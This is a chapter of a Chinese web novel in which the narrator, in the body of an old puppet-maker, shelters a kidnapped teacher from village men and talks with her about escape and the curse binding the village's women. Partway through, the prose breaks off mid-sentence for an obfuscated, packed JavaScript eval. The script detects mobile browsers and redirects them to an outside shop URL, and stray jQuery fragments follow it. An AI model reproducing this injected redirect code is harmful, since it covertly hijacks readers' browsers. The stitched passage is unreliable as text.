堂屋里一片死寂，只有香炉里那三炷香还在默默燃烧，香头在黑暗中发出暗红色的光点，像三只窥视的眼睛。


    我没动，只是静静听着。


    院墙外的脚步声停了，风声从屋顶的瓦缝间穿过，发出细微的呜咽。远处有夜鸟的啼叫，一声，两声，然后归于沉寂。院子里的老槐树在夜风中轻轻摇晃，枝叶摩擦，沙沙作响。


    他们很谨慎，张广茂这次并没有带人贸然翻墙，而是在外面试探。


    我站起身，走到窗前。月光不知何时从云层后透了出来，洒在院子里，将一切都染上一层惨淡的银白。槐树的影子斜斜地铺在地上，枝桠扭曲，像是无数向上伸出的手臂。


    我眯起眼睛，透过玻璃往外看。一个人影，不，不止一个。三个人，站在院门外。


    但他们没有敲门，也没有喊叫，就那么静静地站着，仿佛在等待什么。他们对我，终究会有忌惮。白濯心的名声，在这个村子还是能镇住不少人。


    我的手指在袖中轻轻捻动，傀线无声地探出，顺着门缝、窗缝，向院子里蔓延。线很细，在月光下几乎看不见，但它们是我的眼睛，是我的耳朵，是我延伸出去的感知。


    线碰到了第一个东西。


    是纸。我上次放出恐吓他们的纸人头，那是我特制的，上面涂的不是普通颜料，是混了鸡血和香灰的朱砂。如果有人敢碰，手上会留下洗不掉的红印，要三天才会褪去。


    但现在，那人头被端正地放在院墙顶上，面朝屋内，空洞的眼睛正好对着我窗子的方向。


    他们在试着挑衅。


    接着，透过傀线我听见了极低的交谈声，隔着门板，也很模糊。


    “撬开？还是……翻墙？”


    “先等等，那老婆子肯定在墙内设了埋伏。”


    “怕什么，村长说了，就这地方没找了。那女的肯定藏在这儿。”


    堂屋内仍旧一片漆黑，我收回傀线，透过月色，能看见神龛的轮廓，也看见桌上未收起的竹条和符纸，还看见了楼梯拐角处漏下的微光。


    许媛不知何时下了楼。她应该听见了动静，摸着黑走到了楼梯口。


    “白、白婆婆……”她声音嘶哑，“我想下来帮您。”


    随后，她看了眼窗外，问：“他们来了吗？”


    “嗯，他们在等我出去。”我说，放下窗帘，“或者，在等你自己走出去。”


    “为什么？”许媛不解，“他们咬得这么紧，到底是要什么？”


    我在黑暗中看着她。


    城里来的这个姑娘，经历了这么多的折磨，骨子里的书卷气却还没完全磨掉。但她的眼神变了，多了某种坚硬的东西。


    “他们要的，从来都不只是你。”我走近，看着她。


    “这个村子。”我缓缓开口，“从来不只是个村子。你看见的那些人，那些田，都只是表象。有东西，把所有的女人都拴在这里，一代又一代。”


    “什么东西？”


    “我们都叫它‘根’。每个人的根都扎在这片地里，扎得太深，就拔不出来了。有人试过，结果……”


    我没说下去。


    许媛等了一会儿，见我不再开口，便换了个问题：“那您呢？您的根也扎在这里？”


    “我的根……”我低头看着自己的手，那双手布满皱纹和老人斑，但手指依旧灵活，能编出最精巧的竹骨，能画出最复杂的符纹，“被钉死了。钉在祠堂最深处，钉在那块系满名字的树根上面。”


    “树根？”


    “嗯。”我抬起头，看向窗外无边的黑夜，“上面有我的名字，也有我母亲的名字……一代代女人的名字，都钉在那里。钉上去，就再也抹不掉了。”


    许媛打了个寒颤。


    她下意识地抱紧手臂，好像突然很冷。


    “所以您才说，您逃不出去。”她喃喃道。


    “逃不出去的。”我重复她的话，语气平静得像在陈述今天天气如何，“但我能帮你逃。只要你的根还没扎进来，就还有机会。”


    “可您为什么要帮我？”许媛忽然问，眼睛直直盯着我，“我们非亲非故，您冒这么大风险，图什么？”


    这个问题很尖锐。


    我迎上她的目光，在昏暗的光线里，我们就这样对视着，像两个在悬崖边对峙的人，都在试探对方的底线。手臂上突然有了负重的牵扯，是白濯心回忆里的深度。


    “我母亲临终前跟我说过一句话。”我终于开口，声音很轻，轻得几乎被油灯燃烧的噼啪声盖过，“她说，濯心啊，咱们这双手，沾了太多不该沾的东西。但如果有一天，你能用这双手，把一个干净的人送出这个泥潭，那就算赎了一点罪。”


    “罪？”许媛蹙眉，“您有什么罪？”


    我笑了。


    那笑容我无法控制，但一定很难看，因为我看见许媛的瞳孔缩了一下。


    “我的罪。”我说，“就是被迫长在这里，成了这里的一部分。这个村子每一寸土里都埋着秘密，我呼吸的每一口空气都带着诅咒。而我，把这些秘密和诅咒，都装进了脑子里，融进了血液里。”


    我伸出手，在黑暗里展开五指。


    “你看这双手。”我说，“它们扎过纸人，画过符咒，碰过不该碰的东西，也救过不该救的人。它们干净过，也脏过，现在不干不净，就这么悬着，上不去天，下不着地。”


    许媛沉默了很久。


    “我未婚夫，”她忽然说，声音很低，“他叫陆沉，是个警察。我们本来约定等支教时间到了，是要结婚的，婚纱都订好了。我来支教前，他送我上车，说等我回去，就带我去看新房。”


    她顿了顿，眼圈有点红，但没哭。


    “新房在十七楼，有个很大的阳台。他说以后要在阳台上种满花，春天看月季，夏天看茉莉，秋天看菊花，冬天……冬天就看雪。我们那个城市，冬天很少下雪，但他信誓旦旦，说要是不下，他就带我去北方看。”


    她笑了，笑容很淡，像水面的涟漪，一晃就散了。


    “很傻，对不对？”她说，“但现在，我每天做梦都梦见那个阳台。梦见花开了，他站在花丛里，回头冲我笑。”


    我没说话。


    堂屋里只剩下油灯燃烧的声音，和窗外遥远的风声。


    “所以我要回去。”许媛抬起头，眼神重新变得坚定，“不管付出什么代价，我都要回去。”


    我看着她，却早已知道了未来的结局。我终于明白，为什么那些穿越文的女主，对最后历史结局都有无能为力的困顿。


    “许媛，你听好。”我用着白濯心的语气背对着她，声音平静，但每个字都像钉子，一字一句钉进空气里，说出了我的心声，“既然我决定帮你，就不会半途而废。但你要明白，从现在起，你走的每一步，都可能踩进陷阱。你说的每一句话，都可能被人听去。你做的每一个决定，都可能关系到你我的生死。”


    她没说话，但我能感觉到，她在听，很认真地在听。


    “所以，我还要你答应我三件事。”我转过身，看着她的眼睛。


    “您说。”


    “第一，如果没有逃出去，无论发生什么，都不要承认你来找过我求救。如果有人问，你就说，你是来求子的，我答应了帮你做法事，仅此而已。然后，你就装疯，我会继续想办法帮你。”


    “我明白。”


    “第二，如果逃了出去，从今天起，忘记你原来


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17069736|190971||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的名字。”


    “忘记……”她重复了一遍，用力点头，“我记住了。”


    “第三，也是最重要的一点。”我走到她面前，俯下身，直视她的眼睛，“不要相信村子里的任何人。包括那些表面上对你好的老妇人，包括那些看起来无辜的孩子，包括……包括我。”


    她愣住了：“您……您让我不要相信您？”


    “是。”我直起身，走到窗边，再次掀开窗帘的一角，“因为你遇到的我，有可能是别人，有可能是纸人。连我自己，都不知道自己会在什么时候，做出什么样的选择。”


    “白婆婆。”许媛的声音从身后传来，“您刚才说，您也不知道自己会变成什么样子。那您……有没有后悔过？后悔收留我，后悔教我那些东西？”


    我沉默了很久。


    后悔吗？


    对于白濯心，也许曾有吧。在那些漫长的夜晚，在那些看着一个又一个女人离开、或者留下的时刻，在那些发现自己终究无力改变什么的瞬间，后悔的情绪，就像藤蔓一样缠绕着我，越勒越紧。


    但更多的时候，是一种麻木。一种接受了命运、接受了现实、接受了自己无能为力的麻木。


    “后悔没用。”我终于开口，声音很轻，轻得几乎被窗外的风声盖过，“后悔改变不了已经发生的事，也救不了还没死的人。我能做的，就是在还能做选择的时候，做我认为对的事。至于后果……”


    我顿了顿，放下窗帘，转身面对她。


    “至于后果，我担着。”


    许媛看着我，眼睛里有什么东西在闪烁。是泪光，但又不全是。那是一种复杂的情绪，混合着感激、愧疚、恐惧，还有一丝……我读不懂的东西。


    “白婆婆。”她轻声说，“如果……如果我真的能离开这里，如果我未婚夫真的能找到我，您……您愿意和我一起走吗？”


    我愣住了。


    这个问题，白濯心也问过自己无数次。在那些无眠的夜里，在那些看着祠堂方向的时刻，在那些感觉到自己的根被一寸寸钉死的瞬间，她问自己：能走吗？想走吗？要走吗？


    但答案，从来只有一个。


    “我走不了。”我说，声音平静，但每个字都像刀子，割在心上，“我的根，被钉在了祠堂。除非祠堂倒，村子毁，否则，我永远离不开这里。”


    “可是……”许媛还想说什么，但被我抬手制止了。


    “没有可是。”我转身走向门口，“你抓紧时间，他们很快就会采取行动了。到时候，记住我说的话。其他的，什么都不要说，什么都不要问。”


    我目送着看她上了楼。


    堂屋里，香炉里的香已经燃尽了，只剩下一小撮灰白的香灰，还在散发着最后一点余温。我走到神龛前，看着那幅斑驳的神像，看了很久。


    “娘。”我低声说，声音在空荡的堂屋里回响，“如果当年，您也像我一样，会怎么做？”


    神像沉默着，一如既往。


    我叹了口气，在神龛前的蒲团上跪下，闭上眼睛，开始默念那些早已烂熟于心的经文。不是求神拜佛，只是一种习惯，一种能让心稍微平静下来的仪式。


    但今夜，经文也失去了作用。


    脑海里不断浮现的，是许媛那双眼睛，充满希望，又充满绝望的眼睛。是那些曾经来过又离开的女人的脸，是那些永远留在这里的女人的哭声。是祠堂里那些密密麻麻的头发和铃铛，每一个，都代表着一个被遗忘的故事，一段被掩埋的人生。


    还有张天永那双眼睛，那双看似温和，实则冰冷，深不见底的眼睛。


    他到底想干什么？


    这个念头，像一根刺，扎在我心里，怎么也拔不出来。